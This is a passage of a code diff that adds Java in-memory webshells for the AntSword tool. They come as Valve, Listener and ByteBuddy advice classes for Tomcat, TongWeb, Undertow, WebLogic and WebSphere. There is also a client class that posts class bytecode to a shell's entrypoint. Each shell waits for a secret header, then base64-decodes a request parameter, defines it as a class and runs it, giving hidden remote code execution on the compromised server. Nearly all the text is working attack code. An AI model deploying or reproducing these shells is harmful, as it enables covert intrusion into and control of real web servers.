@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(ServletConfig config) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletConfig getServletConfig() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+88
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve() {
|
||||
}
|
||||
|
||||
public AntSwordValve(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.antsword;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
package com.reajason.javaweb.memshell.tongweb.antsword;
|
||||
|
||||
import com.tongweb.web.thor.Valve;
|
||||
import com.tongweb.web.thor.comet.CometEvent;
|
||||
import com.tongweb.web.thor.connector.Request;
|
||||
import com.tongweb.web.thor.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve6 extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve6() {
|
||||
}
|
||||
|
||||
public AntSwordValve6(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
|
||||
|
||||
}
|
||||
}
|
||||
+88
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.memshell.tongweb.antsword;
|
||||
|
||||
import com.tongweb.catalina.Valve;
|
||||
import com.tongweb.catalina.connector.Request;
|
||||
import com.tongweb.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve7 extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve7() {
|
||||
}
|
||||
|
||||
public AntSwordValve7(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
package com.reajason.javaweb.memshell.undertow.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
|
||||
Object[] keys = map.keySet().toArray();
|
||||
for (Object key : keys) {
|
||||
if (map.get(key).toString().contains("ServletRequestContext")) {
|
||||
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
|
||||
break;
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.memshell.undertow.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordServletInitialHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.AllArguments Object[] args
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
package com.reajason.javaweb.memshell.weblogic.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+92
@@ -0,0 +1,92 @@
|
||||
package com.reajason.javaweb.memshell.websphere.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
plugins {
|
||||
id "io.freefair.lombok" version "8.11"
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb.tools'
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation project(":common")
|
||||
implementation 'net.bytebuddy:byte-buddy'
|
||||
|
||||
implementation 'javax.servlet:javax.servlet-api'
|
||||
implementation 'commons-io:commons-io'
|
||||
implementation 'org.apache.commons:commons-lang3'
|
||||
implementation 'commons-codec:commons-codec'
|
||||
|
||||
implementation 'com.squareup.okhttp3:okhttp'
|
||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||
testImplementation platform('org.junit:junit-bom')
|
||||
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import lombok.Data;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.ClassFileVersion;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import okhttp3.*;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Data
|
||||
public class AntSwordManager {
|
||||
private final OkHttpClient client;
|
||||
private String entrypoint;
|
||||
private String pass;
|
||||
|
||||
private Map<String, String> headers = new HashMap<>();
|
||||
|
||||
public AntSwordManager() {
|
||||
this.client = new OkHttpClient.Builder().build();
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public String getInfo() {
|
||||
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class)
|
||||
.name(Utils.getRandomClassName(Info.class.getName()))
|
||||
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
|
||||
.make().getBytes();
|
||||
String base64String = Base64.getEncoder().encodeToString(bytes);
|
||||
RequestBody requestBody = new FormBody.Builder()
|
||||
.add(this.pass, base64String)
|
||||
.add("j4677eff439969", "wO")
|
||||
.build();
|
||||
Request.Builder builder = new Request.Builder()
|
||||
.url(this.entrypoint)
|
||||
.post(requestBody)
|
||||
.headers(Headers.of(this.headers));
|
||||
try (Response response = client.newCall(builder.build()).execute()) {
|
||||
return response.body().string();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
public static AntSwordManager.AntSwordManagerBuilder builder() {
|
||||
return new AntSwordManager.AntSwordManagerBuilder();
|
||||
}
|
||||
|
||||
public static class AntSwordManagerBuilder {
|
||||
private final Map<String, String> headers = new HashMap<>();
|
||||
private String entrypoint;
|
||||
private String pass;
|
||||
|
||||
public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) {
|
||||
this.entrypoint = entrypoint;
|
||||
return this;
|
||||
}
|
||||
|
||||
public AntSwordManager.AntSwordManagerBuilder pass(String pass) {
|
||||
this.pass = pass;
|
||||
return this;
|
||||
}
|
||||
|
||||
public AntSwordManager.AntSwordManagerBuilder header(String key, String value) {
|
||||
this.headers.put(key, value);
|
||||
return this;
|
||||
}
|
||||
|
||||
public AntSwordManager build() {
|
||||
AntSwordManager manager = new AntSwordManager();
|
||||
manager.setPass(pass);
|
||||
manager.setEntrypoint(entrypoint);
|
||||
Map<String, String> headers = new HashMap<>(16);
|
||||
headers.put("Content-Type", "application/x-www-form-urlencoded");
|
||||
headers.putAll(this.headers);
|
||||
manager.setHeaders(headers);
|
||||
return manager;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
package com.reajason.javaweb.antsword;
|
||||
|
||||
